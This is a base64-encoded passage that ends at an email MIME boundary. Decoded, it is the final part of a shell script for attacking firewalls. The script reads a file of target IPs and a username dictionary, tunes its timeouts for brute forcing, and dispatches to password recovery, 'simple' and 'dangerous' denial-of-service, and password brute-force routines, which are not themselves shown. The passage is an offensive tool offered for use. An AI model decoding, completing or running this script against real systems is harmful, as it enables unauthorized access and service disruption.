byBwcm9wZXJseSBydW4sIHBsZWFzZSBjaGVjayB1IGhhdmUgaXQgaW4geW91
ciBcJFBBVEggb3IgY29tcGlsZSBpdCBub3cuIg0KZWNobw0KZXhpdA0KZmkg
DQoNCmlmIFsgISAkMiAtZXEgMSBdICYmIFsgISAkMiAtZXEgMiBdICYmIFsg
ISAkMiAtZXEgMyBdICYmIFsgISAkMiAtZXEgNCBdOyB0aGVuDQpVc2FnZQ0K
ZWNobw0KZWNobw0KZWNobyAiRXJyb3I6IFZhbHVlIGZvciB0eXBlIG9mIGF0
dGFjayBpcyBvdXQgb2YgcmFuZ2UuIg0KZWNobw0KZXhpdA0KZmkNCg0KaWYg
WyAhIC1zICQxIF07IHRoZW4NClVzYWdlDQplY2hvDQplY2hvDQplY2hvICJF
cnJvcjogIiQwIiBkaWRuJ3QgZmluZCB5b3VyIFRhcmdldHNfaXAgZmlsZXou
Ig0KZWNobw0KZXhpdA0KZmkNCg0KdHJhcCBzaWduYWxfaGFuZGxlciBTSUdJ
TlQNCg0KDQppcD1gY2F0ICQxYA0KDQoNCiMgZmlsZXogaXMgd2hlcmUgcmVz
dWx0cyBhcmUgd3JpdGVuLCBwbGVhc2UgY2hhbmdlIGl0IGZvciB5b3VyIGNv
bmZpZ3VyYXRpb24NCiMgZG9uJ3QgZm9yZ2V0IHRvIGNoYW5nZSB0aGlzIHZh
bHVlcyBmb3IgZXZlcnkgaW5zdGFuY2Ugb2YgdGhlIHByb2Nlc3MsIHUgd291
bGQgbGlrZSB0byBsYXVuY2gNCmZpbGV6PSIuLy4uLi4uLiINCmxvZ2ZpbGU9
Ii4vbG9nZmlsZTQiDQoNCmNhdCAvZGV2L251bGwgPiAkZmlsZXoNCg0KbmFt
ZT0iZndsMDEiDQoNCiMgdGltZW91dCBpcyBjb25uZXhpb24gdGltZXIgd2hl
biB3YWl0aW5nIGZvciBhIHNlcnZlciByZXNwb25zZS4NCg0KdGltZW91dD0y
DQoNCg0KIyB1dGltZW91dCBpcyBwcmV0dHkgaW1wb3J0YW50LCBzcGVjaWZp
Y2FsbHkgZm9yIGJydXRlIGZvcmNlIGF0dGFjaywgbG93ZXIgdmFsdWUgbWVh
bnMgZmFzdGVyIGxvb3AgYnV0IGlmIHRvbyBsb3csIGZ3IHJlcGx5IHdvdWxk
IGJlIG1pc3Rha2VuDQojIHRoYXQgZGVwZW5kcyBvZiB5b3VyIG5ldHdvcmsg
cm91bmQgdHJpcCB0aW1lIGFuZCBhdmVyYWdlIGZpcmV3YWxsIGNwdSB1c2Fn
ZS4NCiMgdHJ5IGRpZmZlcmVudCB2YWx1ZXMgZmlyc3Q6IGRlZmF1bHQgMjIg
bWlsbGlzZWNvbmQNCg0KdXRpbWVvdXQ9MjIwMDANCg0KaWYgWyAkIyAtZ3Qg
MiBdOyB0aGVuDQpuYW1lPSQzDQpmaQ0KaWYgWyAkIyAtZ3QgMiBdICYmIFsg
JDIgLWVxIDQgXTsgdGhlbg0KaWYgWyAhIC1zICQzIF07IHRoZW4NClVzYWdl
DQplY2hvDQplY2hvICJFcnJvcjogIiQwIiBkaWRuJ3QgZmluZCB5b3VyIGRp
Y3QgZmlsZXogb3IgaXQncyBlbXB0eS4iDQplY2hvDQpleGl0DQpmaQ0KdXNl
cm5hbWU9YGNhdCAkM2ANCmZpDQoNCm9yZGVyPTANCmlmIFsgJCMgLWd0IDMg
XTsgdGhlbg0Kb3JkZXI9JDQNCmZpDQoNCmlmIFsgLWYgJGxvZ2ZpbGUgXTsg
dGhlbg0Kcm0gLWYgJGxvZ2ZpbGUNCmZpDQoNCmNhc2UgIiQyIiBpbiANCjEp
DQogICBwYXNzd29yZF9yZWNvdmVyeQ0KICAgOzsNCg0KMikNCiAgc2ltcGxl
X2Rvcw0KICA7Ow0KDQozKQ0KICBkYW5nZXJvdXNfZG9zDQogIDs7DQoNCjQp
DQogIHBhc3N3b3JkX2JydXRlZm9yY2UNCiAgaWYgWyAtcyAkZmlsZXogXTsg
dGhlbg0KICBjYXQgJGZpbGV6DQogIGZpDQogIDs7DQoNCiopDQogIGV4aXQg
MQ0KZXNhYw0KZXhpdA0KDQoNCg0KDQoNCg0K
------=_NextPart_000_2c51_3870_5a8d--
